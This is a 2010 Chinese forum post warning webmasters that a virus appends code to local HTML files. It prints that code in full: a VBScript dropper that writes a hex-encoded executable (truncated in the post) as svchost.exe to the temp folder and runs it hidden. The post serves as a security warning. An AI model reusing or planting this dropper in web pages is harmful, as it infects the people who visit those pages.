Oct 12th, 2010, 18:14 | #1 |
通信专家
注册日期: Jun 2005
帖子: 5,384
|
【注意】HTML病毒已经在泛滥
今天在更新网站时突然发现,所有html文件的日期都被改变了,在上传网页文件时发现,文件的长度都变成了100多K了。赶紧停止上传,检查电脑里的html文件,看源码,每个文件的尾部都加上了如下的代码。熟悉操作系统的朋友都可以看出此病毒在干什么了。有自己网页的朋友千万要小心了,别帮病毒做枪使了。 <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004 (此处省略若干字符) 000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT> |
|